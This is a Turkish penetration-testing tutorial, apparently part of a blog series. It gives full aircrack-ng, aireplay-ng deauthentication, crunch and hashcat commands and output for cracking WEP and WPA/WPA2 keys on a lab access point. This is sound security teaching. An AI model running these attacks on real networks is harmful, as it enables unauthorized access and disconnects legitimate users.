Sızma Testlerinde Kablosuz Ağlar ve Atak Vektörleri – VI

EA

Kablosuz Ağda Şifreleme Protokolleri ve Kırma Çalışmaları

Kablosuz ağlarda bilginin gizliliği ve güvenliği amaçlı kullanılan 3 çeşit şifreleme protokolü vardır. WEP için WEP, WPA için TKIP ve WPA-2 için CCMP şifreleme protokolleri data frameleri şifrelemek için kullanılır. WEP koruması günümüzde rahatlıkla aşılabilir bir güvenlik önlemi haline gelmiştir.

WEP/WPA/WPA2 karşılaştırma tablosu

 
Kimlik Doğrulama
Şifreleme
WEP
Open/Shared Key
WEP
WPA(Kişisel)
PSK
TKIP
WPA2(Kişisel)
PSK
AES- CCMP
WPA(Kurumsal)
802.1x
TKIP
WPA2(Kurumsal)
802.1x
AES-CCMP

WEP Protokolü Parola Kırma Çalışmaları

WEP parolalarının kırma işlemi, hedef AP’ye bağlı istemci sistemin olup olmaması, hangi paketlerin toplandığı ve kırılma algoritmasına göre değişiklik göstermektedir.
Bu çalışma aircrack araçlarıyla Kali üzerinde yapılmıştır. Aircrack WEP parolası kırmak için varsayılan olarak PTW metodunu kullanmaktadır. PTW metodunda parola kırma işlemi toplanan ARP istek ve cevaplarına göre yapılır. Çünkü ARP paketi bilinen bir boyuta ve gönderilen MAC adresine(ff:ff:ff:ff:ff:ff:) sahiptir.
İlk olarak kablosuz ağ adaptörümüzün bağlı olduğu arayüz monitor moda geçirilmelidir. Burada hedef AP 1. kanalda çalıştığı için, wlan1 arayüzünden sonra kanal numarası belirtilmiştir.
 
airmon-ng start wlan1 1

İşlem başarılıysa cevap:

Found 1 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e
PID Name
7301 dhclient

 

Interface Chipset Driver

 

wlan1 Atheros AR9271 ath9k – [phy0]
(monitor mode enabled on mon0)

Bu işlemlerin yapılabilmesi için kablosuz ağ adaptörünün injection desteklemesi gerekmektedir. Bundan emin olmak için aşağıdaki komut çalıştırılabilir.
 
aireplay-ng -9 -e BGA_Wifi -a F8-1A-67-50-70-3C mon0

Destekliyorsa aşağıdaki gibi gözükecektir.

16:02:28  Waiting for beacon frame (BSSID: F8:1A:67:50:70:3C) on channel -1
16:02:28  Trying broadcast probe requests…
16:02:28  Injection is working!
16:02:30  Found 1 AP

 

16:02:30  Trying directed probe requests…
16:02:30  F8:1A:67:50:70:3C – channel: 1 – ‘BGA_Wifi’
16:02:31  Ping (min/avg/max): 1.028ms/19.059ms/52.397ms Power: -34.37
16:02:31  30/30: 100%

İkinci olarak hedef AP’ye ait trafiği kaydetmek(yani IV’leri) amacıyla airodump-ng aracı kullanılır.

airodump-ng -c 1 –bssid F8-1A-67-50-70-3C -w WEP_dump mon0

Yukarıdaki komutta

-c ile hedef AP’nin çalıştığı kanal,
-bssid ile hedef AP’nin MAC adresi,
-w ile trafiğin kaydedileceği dosya ismi belirtilir.

Eğer WEP’te Open Authentication kullanılıyorsa tüm istemciler AP’ye bağlanabilir(authentication and association). Ancak AP doğru WEP anahtarıyla şifrelenmemiş hiç bir paketi kabul etmeyecektir, düşürecektir. Bu nedenle hedef AP’ye paket enjeksiyonu yapabilmek için öncelikle MAC adresimizin authentication ve association aşamalarını geçmesi gerekir. Bunu yaptığımızda AP paketlerimizi kabul eder ve biz her paket gönderdiğimizde yeni IV’ler üretilir.  Başka bir terminalde aşağıdaki komut çalıştırılır.

aireplay-ng -1 0 -e BGA_Wifi -a F8-1A-67-50-70-3C -h A0-F3-C1-27-BF-E8 mon0  –ignore-negative-one

Başarılı işlem için cevap aşağıdaki gibidir.

15:12:27  Waiting for beacon frame (BSSID: F8:1A:67:50:70:3C) on channel -1
15:12:27  Sending Authentication Request (Open System) [ACK]
15:12:27  Authentication successful
15:12:27  Sending Association Request [ACK]
15:12:27  Association successful 🙂 (AID: 1)

Bu aşamada ise toplanan IV sayısını hızlı bir şekilde artırmak için aireplay-ng aracı çalıştırılır. Monitor modda dinlemeye geçildiğinde WEP ile şifrelenen paketlerden bazılarının(ARP) standart bir uzunluğa ve belli bir hedef MAC adresine(Broadcast=FF:FF:FF:FF:FF:FF) sahip olduğu görülür. Bu durumda ARP isteklerini şifreli olsa dahi tanımak ve yakalamak çok kolaydır.

Aireplay ARP isteklerini dinler ve aynısını üretip tekrar enjeksiyon yapar. Hedef sistemde farklı bir IV’yle buna cevap verir. Bu işlem yapılarak kısa bir sürede farklı IV’ler kullanan paketler toplanmış olur.
 
aireplay-ng -3 -b F8-1A-67-50-70-3C -h A0-F3-C1-27-BF-E8 mon0 -e BGA_Wifi –ignore-negative-one
-b ile hedef AP’nin MAC adresi
-h ile bizim MAC adresimiz
-e ile hedef SSID

Cevap:

15:15:14  Waiting for beacon frame (BSSID: F8:1A:67:50:70:3C) on channel -1
Saving ARP requests in replay_arp-0704-151514.cap
You should also start airodump-ng to capture replies.
Read 982 packets (got 108 ARP requests and 115 ACKs), sent 140 packets…(501 pp
Read 1132 packets (got 153 ARP requests and 149 ACKs), sent 189 packets…(498 p
Read 1287 packets (got 204 ARP requests and 186 ACKs), sent 239 packets…(498 p
Read 1433 packets (got 273 ARP requests and 230 ACKs), sent 290 packets…(500 p
..

Yeterince paket(40000 civarı) toplayana kadar bu işleme devam edilir. Daha önce açılan airodump oturumu kontrol edilirse toplanan paket sayısının hızla artacağı görülür. Airodump-ng üzerinde en az 40000 paket toplandığında Ctrl + C ile işlem kesilebilir.

Son olarak aircrack-ng ile airodump-ng’nin WEP_dump olarak kaydettiği cap dosyası okutulur.

aircrack-ng -b F8:1A:67:50:70:3C WEP_dump-01.cap
-b ile hedef AP’nin MAC adresi girilir.

Parola bulunmuştur.

Opening WEP_dump-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 40514 ivs.
                        KEY FOUND! [ 12:34:56:78:90 ]
Decrypted correctly: 100%

Aynı işlem -K opsiyonuyla FMS/KoreK metodu kullanılarakta kırılabilir. Ancak bu metot daha fazla süre ve paket gerektirir.

WPA/WPA2 Parola Kırma Çalışması

WPA/WPA2 parola kırma çalışmalarında en önemli husus, henüz WPA/WPA2 için bilinen bir zafiyet olmadığıdır. Kullanılan araçlar, kaba kuvvet veya sözlük saldırılarıyla verdiğimiz kelimeleri sırayla pasif olarak denemektedir. Bu durum elimizdeki kelime listesinin önemini ortaya koymaktadır. Sık kullanılan basit parolaların yanında, hedefe uygun parola listesi de kullanılmalıdır.
Sözlük saldırılarıyla, sadece hedefin parolası elimizdeki kelime listesinde var ise parola ele geçirilebilir. Kaba kuvvet saldırılarında ise rastgele üretilen(kurallar belirlenebilir) parolalar sırayla denenmektedir. Kaba kuvvet saldırıları çoğu zaman GPU destekli sistemler ve parola kırma yazılımlarıyla anlam kazanmaktadır. CPU ile bir WPA/WPA2 parolasını kırmak yıllar alabilir.

1. Öncelikle kablosuz ağ kartını monitör moda almalıyız.

airmon-ng start wlan1 11
2. Çevrede 11.kanalda yayın yapan ve WPA ile korunan kablosuz ağları görmek için(BGA_Wifi’ın bulunduğu kanal 11’dir.);
airodump-ng –channel 11 –encrypt wpa wlan1
Burada WPA parolasını kıracağımız kablosuz ağa ait BSSID’yi alıyoruz. Bu ekran kapatılmadan başka ekranlarda aşağıdaki komutlar çalıştırılır. WPA handshake yakalandığında bu ekranda görünecektir.
3. Yukarıda aldığımız BSSID değerini –bssid değeri ile aşağıdaki komutumuza veriyoruz. Böylece bu BSSID’ye sahip kablosuzu dinlemeye alıyoruz ve paketleri lol dosyasına yazıyoruz.(fixed channel mon0: -1  uyarısı verdiği durumlarda –ignore-negative-one işe yarayabilir. Eğer airodump ile dinlemeye geçildiğinde bu uyarı varsa handshake yakalansa dahi bununla ilgili bir uyarı vermeyebilir.)
airodump-ng –channel 11 –encrypt wpa –bssid F8:1A:67:50:70:3C -w lol mon0 –ignore-negative-one

airodump WPA handshake’i yakaladığında sağ üst tarafta bununla ilgili bir uyarı çıkacaktır.

CH 11 ][ Elapsed: 16 s ][ 2014-07-06 20:32 ][ WPA handshake: F8:1A:67:50:70:3C                                         
                                                                                                                            
BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                            
F8:1A:67:50:70:3C  -18 100      165       68   10  11  54e. WPA  CCMP   PSK  BGA_Wifi                                       
                                                                                                                            
BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                   
                                                                                                                            
F8:1A:67:50:70:3C  20:C9:D0:BF:7D:F1  -30    1e- 1     78       29                

Bu işlem Wireshark ile de yapılabilir. Bunun için komut satırında wireshark başlatılır.

wireshark&
Ardından sol tarafta yer alan arayüzlerden mon0’a çift tıklanır ve çıkan pencerede “Capture packets in monitor mode” seçilir. Son olarak yeşil yüzgeçe tıklanarak sniffing işlemine başlanır.
Wireshark bütün paketleri izleyecektir. Ancak burada önemli olan 4’lü el sıkışmayı(4-Way Handshake) oluşturan WPA paketlerini  yakalamaktır. Bu nedenle filtre kısmına eapol yazılır ve bir istemcinin bir AP’ye bağlanması beklenir. Bağlantı sağlandığında görüntü aşağıdaki gibi olacaktır.
 

Daha sonra kırmızı kare düğmeye basılır ve sniffing durdurulur. Dosya pcap uzantılı olarak kaydedilir.

4. Şimdi ise sıra kablosuz ağa bağlı kullanıcıları düşürmekte. Beklenip bir kullanıcının bağlanmasıda beklenebilir ama bir kullanıcıyı düşürmek ve otomatik bağlanması ile WPA handshake elde etmek bize zaman kazandıracaktır. Bunun için;

aireplay-ng -0 5  -a F8:1A:67:50:70:3C -c 00:1E4C:43:A6:3E mon0
-0  deauthentication paketi hazırlar,
5 toplam paket sayısını belirtir,
-a access point’in MAC adresidir,
-c istemcinin MAC adresidir,
mon0 kullanılacak ağ arabirimidir.

Böylece hedef AP’den geliyormuş gibi  istemciye 5 tane deauthentication paketi gönderilir. Aynı işlem tüm istemciler durdurulana kadar deauthentication paketi gönderilerekte yapılabilir. -0 seçeneğinin yanında belirtilen 0 sayısı işlem durdurulana kadar paket göndermeye devam eder.

aireplay-ng -0 0  -a F8:1A:67:50:70:3C mon0
5. airodump-ng ekranına geçiş yapılırsa WPA handshake yakalandığında burada “WPA Handshake: F8:1A:67:50:70:3C” gibi bir ifade yazar.
Wireshark’ta ise daha önce bahsedildiği gibi filtre olarak eapol yazarak yakalanan handshake görüntülenebilir.
6. En son elde edilen WPA handshake ile kayıt edilen lol-01.cap dosyasının aircrack-ng ile kırılması gerekir. Bunun için;
airecrack-ng -w /pentest/wireless/aircrack-ng/test/password.lst -c lol-01.cap
-w wordlist/sözlük/parola veritabanının yolunu belirtir
-c .cap dosyasının yolunu belirtir.
Hedefe Yönelik Sözlük Oluşturma
Kullanılacak olan sözlük çok önemlidir. Hem basit ve öntanımlı parolalar, hemde hedefe yönelik olası parolaların sözlük içinde kullanılması çalışmanın başarısını doğrudan etkileyecektir. Basit parolalar için rockyou ve benzeri kelime listeleri kullanılabilir. Hedefe yönelik olası parola kombinasyonlarını çıkarmak için ise crunch aracı kullanılabilir. Örneğin hedefte Kurum A.Ş. olsun. Kurumsal firmalarda eğer kimlik doğrulama WPS-PSK ile sağlanıyorsa genelde kurum ismi ardından gelen 4-5 karakterlik bir sayı dizisi ve belki sonuna bir yada iki tane özel karakter şeklinde olmaktadır. Bu bilgiler ışığında crunch ile bir liste oluşturalım.
 
crunch 10 10 -t Kurum%%%%^ -o kurum1.txt

Yukarıdaki ifade de % sembolleri sayılara ve ^ sembolü özel karakterlere denk gelmektedir. Kurum kısmı ise -t ile özel bir liste hazırladığımızı belirttiğimiz için sabit olarak kalacaktır. Sonuçta crunch bize Kurum2378’, Kurum8473!, Kurum0282= gibi kombinasyonlar üretecektir.

Crunch çıktısına göre bu sözlük 3MB yer kaplayacaktır ve içinde 330000 kombinasyon barındırmaktadır.
 
Crunch will now generate the following amount of data: 3630000 bytes
3 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 330000

Şifre kırıldığında ekranda gözükecektir.

root@kali:~# aircrack-ng -w kelime_listesi -c lol-01.cap
Opening lol-01.cap
Read 2417 packets.

 

  #  BSSID              ESSID                     Encryption

 

  1  F8:1A:67:50:70:3C  BGA_Wifi                  WPA (1 handshake)

 

Choosing first network as target.

 

Opening lol-01.cap
Reading packets, please wait…

 

                                Aircrack-ng 1.2 beta3

 

                  [00:00:00] 2 keys tested (883.20 k/s)

 

                       KEY FOUND! [ Bga_Zor_Parola ]

 

     Master Key     : 7F EE F8 B2 19 A2 17 58 0F B6 18 F5 F1 06 9A 00
                      EC 12 7A 11 25 B1 51 BD A6 CD AA FF B4 88 B8 1E

 

     Transient Key  : 73 E7 72 6B 2E 41 74 75 D1 DB 19 37 57 5E 47 99
                      E5 E8 38 96 3B C9 5E 44 38 42 6C 60 BA F2 FA 0C
                      9F 50 0E 4E B9 72 4A 77 58 53 5E 05 9C D9 1A 76
                      69 8C 2E DE 91 77 5A D7 63 CE 17 F8 4D 26 36 B7

 

     EAPOL HMAC     : 7E E0 F4 48 80 72 DC FF C5 7B A1 0B 7D FD 59 E8
GPU Destekli Parola Kırma Çalışmaları
GPU ile kırma için AMD Radeon HD 7970 ekran kartına sahip Windows 8 işletim sistemi ve araç olarak oclHashcat64 kullanılmıştır.
Parola kırma işlemi hashcat üzerinde yapılacağı için öncelikle .cap uzantılı dosyanın hashcat için uygun şekilde dönüştürülmesi lazım.
 
aircrack-ng -J lol lol-01.cap

-J hashcat için oluşturulan dosyanın adıdır. En son yazılan dosya ise airodump-ng ile daha önce elde edilen cap dosyasıdır. Sonuç olarak bulunulan dizinde lol.hccap diye bir dosya oluşacaktır.

Windows için gerekli komut aşağıdakine benzerdir. -n ve –gpu–loops seçenekleri GPU modeline göre değişiklik gösterebilir. -m seçeneği WPA/WPA2 parolası kırmak için 2500 olarak ayarlanır. -a3 kaba kuvvet saldırısını ifade eder. -o parametresiyle çıktı dosyası belirtilir ve son olarak hccap uzantılı dosyanın yolu gösterilir.

oclHashcat64.exe -n 800 –gpu-loops 256 –status –force -m 2500 -a3 C:UsersgpuDesktoplol.hccap -o lol.txt

Hashcat bu komut için 1-2 yıllık bir tahmini süre vermektedir. Bu nedenle hashcatin kaba kuvvet saldırılarını daha verimli kılmak için sunduğu mask attack tipi kullanılabilir.

Session.Name…: oclHashcat
Status………: Aborted
Input.Mode…..: Mask (?1?2?2?2?2?2?2?3) [8]
Hash.Target….: BGA_Wifi (20:c9:d0:bf:7d:f1 <-> f8:1a:67:50:70:3c)
Hash.Type……: WPA/WPA2
Time.Started…: Mon Jul 07 07:15:57 2014 (1 min, 34 secs)
Time.Estimated.: Tue Jan 05 15:26:50 2016 (1 year, 182 days)
Speed.GPU.#1…:   119.7 kH/s
Recovered……: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts
Progress…….: 11059200/5533380698112 (0.00%)
Skipped……..: 0/11059200 (0.00%)
Rejected…….: 0/11059200 (0.00%)